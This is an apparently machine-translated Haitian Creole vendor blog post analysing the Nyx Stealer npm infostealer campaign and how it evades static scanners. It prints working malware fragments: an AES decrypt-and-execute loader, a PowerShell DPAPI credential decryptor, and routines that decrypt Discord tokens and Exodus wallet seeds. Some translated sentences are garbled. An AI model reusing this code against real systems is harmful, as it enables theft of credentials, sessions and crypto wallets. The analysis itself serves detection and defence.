vòlè enfòmasyon npm

Nouvo Dekouvèt Infostealer npm: Nyx ​​Stealer Detounen Sesyon Discord yo

TL; DR

Ekip Rechèch Sekirite Xygeni a idantifye yon kanpay infostealer npm sofistike ki te pase atravè de pakè move: konsolelofy ta dwe apwouve bèso tibebe w la epi selfbot-lofy.

Vèsyon an dènye (consolelofy@1.3.0) entegre yon chaj chifreman AES 216KB ki dechifre pandan ekzekisyon epi egzekite atravè vm.runInNewContext()Paske lojik move a konplètman chiffres, eskanè estatik ki konte sou enspeksyon chèn karaktè yo pa ka obsève konpòtman li jiskaske lè ekzekisyon an rive.

Yon fwa yo fin dechifre l, chaj la, make anndan an Vòlè Nyx, objektif:

  • Jeton otantifikasyon Discord
  • Plis pase 50 depo kalifikasyon navigatè
  • Plis pase 90 ekstansyon bous kriptografik
  • Sesyon Roblox, Instagram, Spotify, Steam, Telegram, ak TikTok
  • Pèsistans kliyan Discord Desktop

Yo te rapòte tout 20 vèsyon nan tou de pakè yo epi yo te konfime ke yo te move.

Apèsi teknik sou Infostealer npm sa a

Kontrèman ak malveyan tradisyonèl ki enstale lè a, kanpay sa a depann sou yon ègzékusion modèl dekriptaj.

Genyen:

  • Pa gen move preinstall or postinstall hooks
  • Pa gen okenn apèl rezo evidan pandan enstalasyon an
  • Pa gen lojik pou kolekte kalifikasyon an tèks klè

Chaj la aktive lè yo enpòte modil la. Tout kò move a chiffres epi li sèlman materyalize nan memwa pandan ekzekisyon.

Konsepsyon sa a espesyalman evite deteksyon pandan enstalasyon pake a.

Kijan Infostealer npm sa a aktyèlman egzekite

Anvan nou analize sa Nyx Stealer vòlè a, nou bezwen konprann kijan li egzekite.

Lojik move ki andedan infostealer npm sa a swiv yon modèl konsistan:

Yon ti loader dechifre yon gwo chaj chiffres epi egzekite li dinamikman andedan yon kontèks VM Node.js.

Konsepsyon sa a fèt espre. Moun k ap atake a pa kache fonksyonalite dèyè yon bagay ki pa klè sèlman, li... retire kòd move a nèt nan vizibilite estatik la.

Modèl Egzekisyon Nivo Segondè

Nan yon nivo siperyè, anbalaj la fè kat bagay:

  • Derive yon kle AES soti nan yon fraz modpas ki kode an fè lè l sèvi avèk SHA-256
  • Dekripte yon gwo tèks chifreman kode an egzagonal lè l sèvi avèk AES-256-CBC
  • Egzekite JavaScript dechifre a lè l sèvi avèk vm.runInNewContext()
  • Bay yon sandbox ki toujou ekspoze primitif pwisan nan moman ekzekisyon an.

Rezime Teknik Debaz la

Component Konfigirasyon / Valè
Algorithm AES-256-CBC
Derivasyon kle SHA-256 (fraz modpas)
Vektè Inisyalizasyon (IV) 16 okte nan 0x00
Egzekisyon vm.runInNewContext(dechifre, sandbox)

Kritikman, sandbox la pase nan:

  • require
  • process
  • Buffer
  • revèy
  • ekspòtasyon modil

Sa vle di ke chaj dechifre a kenbe tout kapasite li pou:

  • Pwosesis kreyasyon
  • Li epi ekri fichye yo
  • Fè apèl rezo
  • Modifye aplikasyon lokal yo

Sa a se pa yon VM ki gen restriksyon. Li se yon VM ki itilize kòm yon tranpolin ekzekisyon.

Modèl Chifreman nan Ekzekisyon (Mekanis Ekzekisyon Nwayo)

Chajè a piti.
Kò move a pa konsa.

Anba la a se modèl ekzekisyon ki jwenn andedan pake a:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Poukisa sa a Matters

Chaj ki dekripte a:

  • Èske pa egziste an tèks klè andedan pake npm lan
  • Envizib pou moun ki senp grep oswa eskanè fisèl estatik
  • Se sèlman materyalize nan memwa pandan ekzekisyon an
  • Egzekite ak tout kapasite ekzekisyon Node yo

Konbinezon ekzekisyon AES + VM sa a se yon endikatè konpòtman solid nan yon vòlè enfòmasyon npm ap eseye evite enspeksyon estatik.

Nan yon lòt sans:

Si ou eskane pyebwa sous pake a, ou pa wè yon vòlè.
Ou wè yon dekriptè.

Ki sa k rive apre dekriptaj la

Yon fwa li fin egzekite, Nyx Stealer lanse vag koleksyon done paralèl.

Vag 1: Ekstraksyon Kalifikasyon Navigatè

Malveyan an:

  • Telechaje yon runtime Python soti nan NuGet CDN
  • Enstale bibliyotèk kriptografik yo
  • Ekstrè depo kalifikasyon ki baze sou Chromium
  • Dekripte sekrè pwoteje pa DPAPI

Olye pou konpile lyezon natif natal yo, li itilize PowerShell pou rele Windows DPAPI dirèkteman.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Apwòch sa a:

  • Evite artefak konpilasyon
  • Itilize API kriptografik natif natal Windows yo
  • Entegre nan zouti administratif yo

Li se dekriptaj kalifikasyon nan nivo sistèm operasyon an, pa grate.

Vag 2: Dekriptaj Jeton Discord

Vòlè a konnen pwotokòl la. Li konprann fòma jeton chifreman Discord la.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Koule operasyonèl:

  • Ekstrè kle prensipal la nan Discord la Local State
  • Dekripte kle prensipal la atravè DPAPI
  • Dekripte jeton AES-GCM yo
  • Valide jeton yo kont API Discord la
  • Anrichi ak Nitro, badj, enfòmasyon bòdwo

Sa a se pa yon detounman kalifikasyon jenerik. Se yon detounman sesyon ki pran an kont pwotokòl la.

Vag 3: Sib pou bous kriptografik

Infostealer npm lan bay lis sa yo:

  • Plis pase 90 ekstansyon bous navigatè
  • 27 bous pou òdinatè
  • Chemen bous frèt
  • Fichye grenn Egzòd yo

Egzanp tantativ dekriptaj grenn:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Si li reyisi, konpwomi bous la imedya e irevokabl.

Sa reprezante vektè monetizasyon ki gen plis valè nan kanpay la.

Pèsistans atravè Enjeksyon Discord Desktop

Apre li fin rekòlte kalifikasyon yo, Nyx Stealer eseye pèsistans lè li modifye lokal la. Dezakò kliyan.

Objektif:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Sekans operasyonèl

Infostealer a fè etap sa yo:

  • Fini pwosesis Discord k ap kouri yo
  • Lokalize varyant Discord ki enstale yo (Stable, Canary, PTB)
  • Ranplase discord_desktop_core/index.js
  • Enjekte lojik webhook kontwole pa atakè a
  • Rekòmanse Discord

Sa asire ke sesyon Discord nan lavni yo otomatikman ap kite nouvo jeton otantifikasyon yo koule.

Sa ki enpòtan, pèsistans sa a pa depann de travay pwograme oswa modifikasyon rejis. Li itilize modifikasyon kòd nan nivo aplikasyon an, yon apwòch ki pi diskrè.

Menm si yo retire pake npm move a pita, kliyan Discord la ap rete konpwomèt.

Konparezon teknik: Selfbot lejitim vs npm Infostealer

Component Bibliyotèk lejitim Nyx npm Infostealer
Chifreman Pa gen okenn Chaj konplè ki chiffres ak AES
Machin vityèl ekzekisyon Pa obligatwa vm.runInNewContext ekzekisyon
Aksè Kalifikasyon API Discord sèlman Navigatè, bous, DPAPI
Telechajman Ekstèn Non Ekzekisyon Python atravè NuGet
Perseverans Non Enjeksyon kliyan Discord
monetizasyon Otomatizasyon bot Revann kalifikasyon

Kouch chifreman an poukont li deja separe kanpay sa a ak yon fork sous ouvè tipik.

Yon selfbot Discord lejitim pa gen okenn rezon pou chifre tout baz kòd li a, kreye PowerShell pou jwenn aksè a DPAPI, telechaje runtime ekstèn, oswa modifye fonksyon entèn aplikasyon Desktop yo. Lè kapasite sa yo parèt andedan yon depandans ki pretann otomatize entèraksyon Discord yo, dezakò achitekti a vin enposib pou inyore.

Nan pèspektiv yon envestigasyon, vòlè enfòmasyon npm sa a kite tras sou plizyè kouch. Sepandan, endikatè ki pi fyab yo se pa URL ki kode an di oswa chemen dosye espesifik, piske sa yo ka chanje ant vèsyon yo. Okontrè, siyal dirab yo se siyal estriktirèl.

Nan nivo pakè a, drapo wouj ki pi fò a se konbinezon yon gwo chaj chiffres ak yon anbalaj dechifreman pandan ekzekisyon ki egzekite imedyatman atravè vm.runInNewContext()Malgre ke chifreman poukont li pa move an li menm, itilizasyon dechifreman AES ki swiv pa ekzekisyon dinamik VM andedan yon pake sèvis piblik Discord se yon bagay ki trè anomali.

Nan nivo lame a, modèl sispèk yo enkli aktivite dekriptaj DPAPI inatandi, pwosesis ki soti nan yon kontèks depandans Node.js, ak modifikasyon fichye aplikasyon lokal yo ki pa ta dwe janm chanje pa bibliyotèk twazyèm pati yo. Menm jan an tou, nan kouch rezo a, kominikasyon sortan nan style webhook ki inisye pa yon depandans devlopman reprezante yon lòt anomali enpòtan.

Nan lòt mo, sifas deteksyon an pa yon sèl endikatè konpwomi. Se korelasyon chifreman, ekzekisyon pandan ekzekisyon, aksè kalifikasyon, ak konpòtman pèsistans ki revele menas la.

Deteksyon ak Mitigasyon ak Xygeni

vòlè enfòmasyon npm

Yo te idantifye vòlè enfòmasyon npm sa a pa Avètisman Bonè sou Lojisyèl Malveyan Xygeni a (MEW) atravè korelasyon konpòtman an kouch olye de senp matche ak siyati.

Olye pou l chèche chèn move li te ye deja, MEW evalye anomali estriktirèl atravè tout pyebwa sous la. Nan ka sa a, deteksyon an soti nan konvèjans plizyè siyal: yon woutin dekriptaj AES entegre nan pwen antre modil la, ekzekisyon imedya andedan yon kontèks VM, ak yon move matche klè ant kapasite ak entansyon.

Sa ki enpòtan, okenn nan siyal sa yo poukont yo pa pwouve move entansyon. Sepandan, lè yo analize yo ansanm, yo ekspoze yon tantativ pou kache konpòtman an nan moman ekzekisyon an. Apwòch an kouch sa a diminye anpil fo pozitif yo pandan l ap idantifye menas ki gen anpil konfyans nan chèn ekipman an.

Anplis, ka sa a montre poukisa enspeksyon an tan enstalasyon an poukont li pa sifi. Lojik move a pa abite nan script sik lavi yo. Li aktive sèlman apre modil la chaje epi li vin vizib sèlman yon fwa li dechifre nan memwa. Se poutèt sa, yon defans efikas mande analiz ki pran an kont chifreman, rekonesans modèl konpòtman, ak siveyans depandans kontinyèl pi lwen pase evènman enstalasyon yo.

Retire rejis la se reyaktif. Analiz ki pran an kont tan ekzekisyon an se prevantif.

Poukisa vòlè enfòmasyon npm sa a enpòtan

Nyx Stealer reprezante yon evolisyon estriktirèl nan malveyan ki baze sou npm.

Nan tan lontan, anpil pakè move te konte sou script vizib pandan enstalasyon an oswa pwen final evidan pou eksfiltrasyon kalifikasyon. Okontrè, kanpay sa a chifre chaj li a, ranvwaye ekzekisyon an pou lè li fonksyone, itilize API sistèm operasyon lejitim yo, epi etabli pèsistans andedan aplikasyon ou fè konfyans yo.

Kidonk, atakè a pa bezwen eksplwate enfrastrikti npm nan li menm. Okontrè, atak la reyisi paske enstalasyon depandans vle di konfyans. Devlopè yo sipoze ke enpòte yon bibliyotèk se yon operasyon ki an sekirite, sitou lè li prezante tèt li kòm yon fork kredib nan yon zouti popilè.

Tank ekosistèm yo kontinye ap grandi epi fouchèt yo ap pwolifere, limit konfyans enplisit sa a vin tounen yon sifas atak ki pi atiran. Se poutèt sa, pou defann tèt ou kont vòlè enfòmasyon npm modèn yo, ou bezwen rekonèt modèl achitekti olye pou w chèche chèn estatik.

Anfen, kanpay sa a ranfòse yon leson enpòtan nan software supply chain securityMenas ki pi danjere yo se pa sa yo ki sanble move nan premye gade, men sa yo ki parèt lejitim estriktirèlman jiskaske pwogram nan revele konpòtman reyèl yo.

zouti-lojisyèl-sca-tools-konpozisyon-analiz-zouti
Priyorize, korije, epi pwoteje risk lojisyèl ou yo
Jwenn Kont Gratui ou.
Pa gen kat kredi obligatwa.

Pwoteje Devlopman ak Livrezon Lojisyèl ou

avèk Xygeni Product Suite